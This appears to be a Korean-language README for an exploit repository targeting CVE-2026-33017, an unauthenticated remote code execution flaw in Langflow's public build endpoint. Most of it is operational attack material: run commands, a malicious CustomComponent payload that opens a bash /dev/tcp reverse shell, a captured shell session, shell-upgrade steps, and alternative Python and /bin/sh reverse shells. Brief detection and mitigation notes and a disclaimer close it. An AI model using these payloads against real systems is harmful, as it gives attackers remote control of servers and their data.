
CVE-2026-33017에 대한 익스플로잇으로, Langflow의 인증되지 않은 RCE를 통해 악성 CustomComponent 페이로드로 리버스 셸을 활성화합니다.
CVE-2026-33017은 Langflow 버전 1.8.2 이하에서 발생하는 인증 우회 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트에 존재하며, 적절한 인증이 없어 공격자가 그래프 컴파일 과정에서 임의의 Python 코드를 실행할 수 있습니다.
이 익스플로잇은 교육 및 승인된 테스트 목적으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 이 도구는 소유한 시스템 또는 명시적 테스트 권한이 있는 시스템에서만 사용하십시오.
| 버전 | 상태 |
|---|
| <= 1.8.2 | 취약 |
| 1.9.0 | 패치됨 |
이 취약점은 validate.py의 prepare_global_scope() 함수에서 발생하며, 이 함수는 각 CustomComponent 노드의 코드에 대해 적절한 샌드박싱 없이 exec()를 호출합니다. 컴포넌트가 로드/컴파일될 때 모듈 레벨(클래스 정의 외부)의 모든 Python 코드가 즉시 실행됩니다.
POST /api/v1/build_public_tmp/{flow_id}/flow
특징:
공격자 POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← 임의 코드 실행
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. 리버스 셸
# 리스너 시작
nc -lvnp 4444
# 익스플로잇 실행
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. 짧은 옵션 사용
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. 로컬 테스트
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. 사용자 지정 타임아웃
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| 인수 | 약어 | 필수 | 설명 |
|---|---|---|---|
--url | -u | 예 | 대상 URL (예: https://target.langflow.com) |
--flow-id | -f | 예 | 공개 플로우의 플로우 ID(UUID) |
--lhost | -lh | 예 | 리버스 셸용 리스너 IP 주소 |
--lport | -lp | 예 | 리버스 셸용 리스너 포트 |
--timeout | -t | 아니요 | HTTP 타임아웃(초) (기본값: 15) |
이 익스플로잇은 모듈 레벨에서 코드를 실행하는 악성 CustomComponent 노드를 전송합니다:
import os
# 컴포넌트 로딩 중 즉시 실행됨
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. 공격자가 POST 요청을 /api/v1/build_public_tmp/{flow_id}/flow로 전송
2. Langflow가 악성 CustomComponent를 수신
3. prepare_global_scope()가 컴포넌트 코드에 대해 exec() 호출
4. 모듈 레벨 코드가 즉시 실행됨
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. 리버스 셸이 공격자의 리스너로 연결
6. 그래프 컴파일이 계속됨 (하지만 이미 늦음)
exec() 중에 실행됨exec()가 제한 없이 호출됨data 매개변수가 직접 삽입됨$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow 인증 우회 RCE
============================================================
[!] 리스너가 실행 중인지 확인하세요:
nc -lvnp 4444
[+] 대상 URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] 익스플로잇 페이로드 전송 중...
[+] 상태 코드: 200
[+] 익스플로잇 전송 성공!
[+] 작업 ID: abc123-def456-789ghi
[*] 리버스 셸을 위해 리스너를 확인하세요!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
리버스 셸을 획득한 후:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 또는 script 사용
script /dev/null -c bash
# Ctrl+Z로 백그라운드 전환
# 그런 다음 실행:
stty raw -echo
fg
reset
export TERM=xterm
리버스 셸 대신 임의의 명령을 실행하도록 스크립트를 수정:
# build_payload() 함수 내부:
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Python 소켓 리버스 셸
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. /bin/sh 리버스 셸 (bash를 사용할 수 없는 경우)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow에 대한 POST 요청os.system() 또는 subprocess를 포함한 의심스러운 CustomComponent 코드/tmp/rce-proof 또는 /tmp/executed 파일/build_public_tmp 엔드포인트에 적절한 인증 추가CustomComponent의 코드 입력 정화exec() 호출에 대한 적절한 샌드박싱 구현| 날짜 | 이벤트 |
|---|---|
| 2026년 3월 | 취약점 발견 |
| 2026년 3월 16일 | GitHub 보안 권고 게시 |
| 2026년 4월 | 공개 공개 |
| 2026년 4월 | 패치 릴리스 (1.9.0) |
이 프로젝트는 교육 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.
이 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 작성자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 모든 관련 법률 및 규정을 준수할 책임이 있습니다.
보안 연구를 위해 🖤로 제작됨